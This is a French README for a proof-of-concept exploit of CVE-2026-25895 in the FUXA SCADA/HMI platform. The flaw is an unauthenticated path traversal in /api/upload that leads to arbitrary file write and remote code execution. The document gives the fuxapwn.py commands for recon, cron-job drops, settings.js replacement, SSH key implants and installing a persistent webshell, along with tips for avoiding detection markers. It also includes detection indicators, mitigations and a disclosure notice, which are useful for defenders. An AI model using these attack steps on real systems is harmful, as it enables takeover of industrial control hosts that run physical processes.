
POC exploit pour CVE-2026-25895 FUXA : traversée de chemin non authentifiée -> écriture de fichier arbitraire -> RCE
Écriture de fichier arbitraire non authentifiée (pré-authentification) contre FUXA, une plateforme SCADA/IHM basée sur Node.js. S'enchaîne vers une exécution de code à distance via plusieurs primitives distinctes post-écriture. Fonctionne même lorsque secureEnabled = true (authentification activée), car le point de terminaison vulnérable n'est rattaché à aucun middleware.
Également disponible sur ExploitDB : https://www.exploit-db.com/exploits/52568
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-25895 |
| Affecté | FUXA <= 1.2.9 |
| Corrigé | FUXA 1.2.10 |
| Éditeur | frangoteam / FUXA |
| Vecteur d'attaque | Réseau (HTTP/HTTPS) |
| Authentification | Aucune requise |
| Impact | Écriture de fichier arbitraire, exécution de code à distance |
| CVSS v3.1 | 9.8 (Critique) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Chercheur | Anthony Cihan (Hann1bl3L3ct3r) |
Le point de terminaison POST /api/upload de FUXA (server/api/projects/index.js:193) est enregistré sans middleware, contournant à la fois le contrôle JWT / clé API secureFnc et la barrière de permission administrateur appliquée à tous les autres points de terminaison de gestion de projets. Dans le gestionnaire, le champ destination du corps JSON est concaténé dans un chemin du système de fichiers avec seulement un underscore de tête et sans normalisation ni contrôle de confinement :
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Une valeur destination de la forme a/../../../../../etc (où a absorbe le préfixe underscore) fait remonter path.resolve de Node hors de appDir vers n'importe quel emplacement où le processus FUXA peut écrire. Comme fs.writeFileSync est précédé d'un fs.mkdirSync(dir, { recursive: true }) conditionnel, l'attaquant peut également créer les répertoires parents nécessaires.
Le résultat est une primitive d'écriture de fichier arbitraire non authentifiée accessible sur le port HTTP par défaut (1881), exploitable avant authentification, que l'administrateur FUXA ait activé ou non la connexion.
Un attaquant distant non authentifié peut :
settings.js pour obtenir une exécution de code au prochain redémarrage de FUXA/etc/cron.d/<file>) pour une exécution de code en moins de 60 secondes lorsque FUXA s'exécute en tant que root (valeur par défaut dans l'image Docker de l'éditeur)/root/.ssh/authorized_keys ou dans ~/.ssh/authorized_keys de n'importe quel utilisateurIl s'agit d'une vulnérabilité critique pré-authentification sur une plateforme ICS/SCADA utilisée pour piloter des processus industriels.
| Version | Statut |
|---|---|
<= 1.2.9 | Vulnérable |
1.2.10+ | Corrigé |
Exploitation confirmée sur une installation propre de FUXA 1.2.9 sous Ubuntu Server.
Script Python 3 en un seul fichier, une seule dépendance tierce (requests).
pip install requests
python3 fuxapwn.py --help
Identifier l'utilisateur OS en cours d'exécution, l'exposition de Node-RED et tout autre compte présent sur l'hôte sans rien écrire d'inhabituel :
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Écrire un marqueur neutre /tmp/healthcheck (aucun IOC spécifique à la CVE dans le nom de fichier ou le contenu) :
python3 fuxapwn.py -u http://target:1881 --mode canary
Si FUXA s'exécute en tant que root, déposer un fichier cron qui se déclenche en moins de 60 secondes sans nécessiter de redémarrage de FUXA :
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsInstaller un écouteur de webshell HTTP dans le processus Node de FUXA (s'active au prochain démarrage à froid, car require() met en cache les modules), puis basculer dans un REPL interactif une fois FUXA redémarré :
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
Référence complète des options par mode : python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) est enregistré sans middleware et renvoie la configuration d'exécution en direct, légèrement expurgée (le serveur supprime secretCode et smtp.password avant l'envoi). Les champs restants divulguent des chemins absolus (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) qui identifient généralement l'utilisateur du service, ainsi que nodeRedEnabled, un indicateur direct d'une voie secondaire de RCE non authentifiée (voir ci-dessous).
Lorsque FUXA est lancé via npm start sous un compte utilisateur local et que les chemins d'installation n'encodent pas l'utilisateur (par ex. l'installation se trouve sous /opt, /tmp ou un /app générique), et que /root/ n'est pas inscriptible, la POC se rabat sur l'itération de /home/<candidate>/ avec des écritures de zéro octet.
Le gestionnaire de téléversement de FUXA appelle conditionnellement fs.mkdirSync(parent, { recursive: true }) avant fs.writeFileSync, ce qui crée une ambiguïté EACCES : un /home/<user>/ inexistant échoue avec EACCES lors de la tentative de mkdir (le processus ne peut pas créer de répertoires sous /home/ appartenant à root), tandis qu'un /home/<other>/ existant avec le mode 0700 échoue avec EACCES sur l'écriture elle-même. Même errno, signification différente. La POC lève l'ambiguïté en extrayant le jeton syscall du err.message transmis par le serveur (format libuv "<CODE>: <reason>, <syscall> '<path>'") et ne rapporte comme « autre utilisateur existant » que les EACCES-à-l'ouverture (ou tout syscall autre que mkdir). Cela élimine la liste de faux positifs de mouvement latéral qu'une sonde naïve basée uniquement sur l'errno produirait.
Si nodeRedEnabled = true dans les paramètres divulgués, les points de terminaison d'administration Node-RED embarqués de FUXA (/nodered/flows/deploy, etc.) sont accessibles sans authentification en raison d'un contrôle de liste blanche sur l'en-tête Referer (node-red/index.js:134-136) qui accepte toute requête dont le Referer contient /editor, /viewer ou /lab. Cela permet une RCE non authentifiée instantanée via un nœud de fonction sans nécessiter de redémarrage. Le mode recon signale cette condition ; les opérateurs devraient la privilégier lorsqu'elle est disponible.
settings.js préservent la configuration cibleLors de la génération d'un remplacement de settings.js (modes settings-rce et webshell), la POC récupère d'abord la configuration en direct via /api/settings et la sérialise en JSON comme corps de module.exports (le JSON est un sous-ensemble valide de littéral d'objet JavaScript). Cela préserve le uiPort, allowedOrigins, secureEnabled et les autres paramètres d'exécution de la cible, de sorte que l'application continue de servir normalement après le remplacement. La POC avertit explicitement lorsque la cible a secureEnabled = true ou un bloc smtp, car l'expurgation côté serveur supprime secretCode (le repli JWT prendra le relais) et smtp.password (l'e-mail cessera de fonctionner jusqu'à restauration manuelle).
POST /api/upload provenant de sources non authentifiées, en particulier avec des valeurs destination contenant .. ou des chemins absolus du système de fichiers dans la réponseGET /api/settings provenant de sources non authentifiées (normalement utilisé uniquement par l'interface authentifiée)/tmp/healthcheck*, /tmp/.fuxa-probe-* ou /home/*/.fuxa-probe-* (noms de fichiers par défaut des marqueurs canary et de sonde — la POC permet de les remplacer pour éviter des IOC évidents, donc leur absence n'exclut pas une exploitation)settings.js, /etc/cron.d/* ou ~/.ssh/authorized_keys ne correspondant à aucune action d'un administrateur/api/upload est protégé par la chaîne de middleware standard dans la version corrigée./api/upload et /api/settings./root/, pas d'écriture dans /etc/cron.d/, pas de persistance à l'échelle de l'hôte via cron).nodeRedEnabled = false) s'il n'est pas utilisé activement.1.2.10server/api/projects/index.js:193 dans FUXA 1.2.9Recherche, POC et rédaction par Anthony Cihan (Hann1bl3L3ct3r), responsable de la sécurité offensive.
Ce dépôt contient un code d'exploitation fonctionnel pour une vulnérabilité critique dans un produit ICS/SCADA. Il est publié selon les principes de divulgation responsable, après correction par l'éditeur, au bénéfice des défenseurs (auteurs de détections, répondants aux incidents) et des testeurs de sécurité autorisés.
Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite et écrite de test. Toute utilisation non autorisée de ce code contre des systèmes tiers est illégale dans la plupart des juridictions et sera traitée comme telle par l'auteur. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
Si vous êtes un opérateur FUXA et souhaitez de l'aide pour valider votre niveau de correctif contre cette POC dans des conditions contrôlées, contactez l'auteur.
Publié à des fins de test de sécurité autorisé et de recherche défensive. Voir LICENSE pour les conditions complètes.
| Mode | Fonction |
|---|
recon | Fuite d'informations non authentifiée via GET /api/settings ; déduit l'utilisateur OS en cours d'exécution à partir des chemins absolus ; rapporte l'état de Node-RED ; sondes actives optionnelles --probe-root et --probe-home |
canary | Preuve de la primitive d'écriture de fichier avec un chemin par défaut neutre |
settings-rce | Remplace settings.js par une charge utile qui exécute une commande configurable au prochain démarrage à froid de FUXA |
ssh-key | Écrit une clé publique dans authorized_keys d'un utilisateur cible |
drop | Dépôt de fichier arbitraire vers n'importe quel chemin absolu |
cron | Dépose /etc/cron.d/<name> pour une RCE en moins de 60 secondes sans attendre un redémarrage de FUXA (nécessite que FUXA s'exécute en tant que root) |
webshell | Installe un écouteur de webshell HTTP dans le processus Node de FUXA via le remplacement de settings.js (s'active au prochain démarrage à froid) |
webshell-exec | Client pour un webshell déjà installé ; commande unique ou REPL --interact |